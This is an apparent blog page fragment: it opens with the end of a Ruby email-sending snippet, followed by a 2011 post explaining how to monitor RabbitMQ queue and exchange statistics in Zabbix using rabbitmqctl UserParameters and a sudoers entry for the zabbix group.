<span class="sh">To: #{RECIPIENTS}</span>
<span class="sh">Subject: #{subject}</span>
<span class="sh">#{body}</span>
<span class="dl">EOM</span>
<span class="no">Net</span><span class="o">::</span><span class="no">SMTP</span><span class="o">.</span><span class="n">start</span><span class="p">(</span><span class="no">SMTP_HOST</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">smtp</span><span class="o">|</span>
<span class="n">smtp</span><span class="o">.</span><span class="n">send_message</span> <span class="n">message</span><span class="p">,</span> <span class="n">sender</span><span class="p">,</span> <span class="no">RECIPIENTS</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="k">end</span>
</pre></div>
Monitoring RabbitMQ Queues with Zabbix2011-10-09T12:01:00-07:002011-10-09T12:01:00-07:00tvdtag:tvd.dev,2011-10-09:/monitoring-rabbitmq-queues-with-zabbix.html<p>Recently I setup some monitoring on a <a class="reference external" href="http://www.rabbitmq.com/">RabbitMQ</a> server
using <a class="reference external" href="http://www.zabbix.com/">Zabbix</a>. This process is by no means difficult, but I thought
it was worth sharing.</p>
<p>I was looking for a solution that did not require additional plugins or
packages, but would perform well. Some useful tools for monitoring
include: the …</p><p>Recently I setup some monitoring on a <a class="reference external" href="http://www.rabbitmq.com/">RabbitMQ</a> server
using <a class="reference external" href="http://www.zabbix.com/">Zabbix</a>. This process is by no means difficult, but I thought
it was worth sharing.</p>
<p>I was looking for a solution that did not require additional plugins or
packages, but would perform well. Some useful tools for monitoring
include: the <a class="reference external" href="http://www.rabbitmq.com/management.html">Management Plugin</a> for RabbitMQ - works well, but
provides more info than I needed; <a class="reference external" href="https://github.com/epicadvertising/rabbitmq_snmp_plugin">SNMP Statistics Plugin</a> which looks
promising; and the method below.</p>
<p>This assumes a zabbix server and agent(s) are setup, and a basic
knowledge of zabbix.</p>
<div class="section" id="zabbix-user-parameters">
<h2>Zabbix User Parameters</h2>
<p>These user parameters pull all of the queue and exchange information out
of rabbitmqctl for a particular queue and exchange.</p>
<p>I created a new file,
/etc/zabbix/zabbix.conf.d/rabbitmq-server-stats.conf, which looked like
the one below. It assumes rabbitmqctl is at /usr/sbin/rabbitmqctl.</p>
<div class="highlight"><pre><span></span>#
# Meta params.
#
UserParameter=batch.queues,sudo /usr/sbin/rabbitmqctl -n prod_rabbitmq-rabbit list_queues | grep -cv '\.\.\.'
UserParameter=batch.exchanges,sudo /usr/sbin/rabbitmqctl -n prod_rabbitmq-rabbit list_exchanges | grep -cv '\.\.\.'
#
# some-queue statistics.
#
UserParameter=batch.queue.durable,sudo /usr/sbin/rabbitmqctl -n prod_rabbitmq-rabbit list_queues name durable | grep 'some-queue' | awk '{ print $2 }'
UserParameter=batch.queue.msg_ready,sudo /usr/sbin/rabbitmqctl -n prod_rabbitmq-rabbit list_queues name messages_ready | grep 'some-queue' | awk '{ print $2 }'
UserParameter=batch.queue.msg_unackd,sudo /usr/sbin/rabbitmqctl -n prod_rabbitmq-rabbit list_queues name messages_unacknowledged | grep 'some-queue' | awk '{ print $2 }'
UserParameter=batch.queue.msgs,sudo /usr/sbin/rabbitmqctl -n prod_rabbitmq-rabbit list_queues name messages | grep 'some-queue' | awk '{ print $2 }'
UserParameter=batch.queue.consumers,sudo /usr/sbin/rabbitmqctl -n prod_rabbitmq-rabbit list_queues name consumers | grep 'some-queue' | awk '{ print $2 }'
UserParameter=batch.queue.memory,sudo /usr/sbin/rabbitmqctl -n prod_rabbitmq-rabbit list_queues name memory | grep 'some-queue' | awk '{ print $2 }'
#
# some-exchange statistics.
#
UserParameter=batch.exchange.durable,sudo /usr/sbin/rabbitmqctl -n prod_rabbitmq-rabbit list_exchanges name durable | grep 'some-exchange' | awk '{ print $2 }'
UserParameter=batch.exchange.type,sudo /usr/sbin/rabbitmqctl -n prod_rabbitmq-rabbit list_exchanges name type | grep 'some-exchange' | awk '{ print $2 }'
</pre></div>
<p>After making the changes, bounce (restart) the zabbix-agent service on
the rabbitmq server box.</p>
</div>
<div class="section" id="sudo-permissions">
<h2>Sudo Permissions</h2>
<p>The parameters won't work until the zabbix group is granted non-password
sudo access. I chose to add a new file at
/etc/sudoers.d/rabbitmqserverstats.</p>
<p>I added the following line to the end of /etc/sudoers:</p>
<pre class="literal-block">
#includedir /etc/sudoers.d
</pre>
<p>/etc/sudoers.d/rabbitmqserverstats contains:</p>
<pre class="literal-block">
# RabbitMQ Server Stats Sudoers
#
# This grants the zabbix group non-password sudo access to rabbitmqctl.
#
%zabbix ALL=(ALL) NOPASSWD: /usr/sbin/rabbitmqctl
</pre>
<p>And with that, Zabbix should be able to monitor the some-queue and
some-exchange statistics.</p>
<p><strong>Update:</strong> Posted to <a class="reference external" href="https://web.archive.org/web/20120127092156/http://zabbixtemplates.com/node/18">RabbitMQ Server Stats template</a> on
<a class="reference external" href="https://web.archive.org/web/20120218144023/http://zabbixtemplates.com/">ZabbixTemplates.com</a>. Now gone; links go to web archive.</p>
<div class="section" id="related-sources">
<h3>Related Sources</h3>
<ul class="simple">
<li><a class="reference external" href="http://www.rabbitmq.com/how.html#management">RabbitMQ Management and Monitoring Links</a></li>
<li><a class="reference external" href="http://blog.dossot.net/2010/01/monitoring-rabbitmq-with-zabbix.html">Just Do I.T.: Monitoring RabbitMQ with Zabbix</a></li>
</ul>
</div>
</div>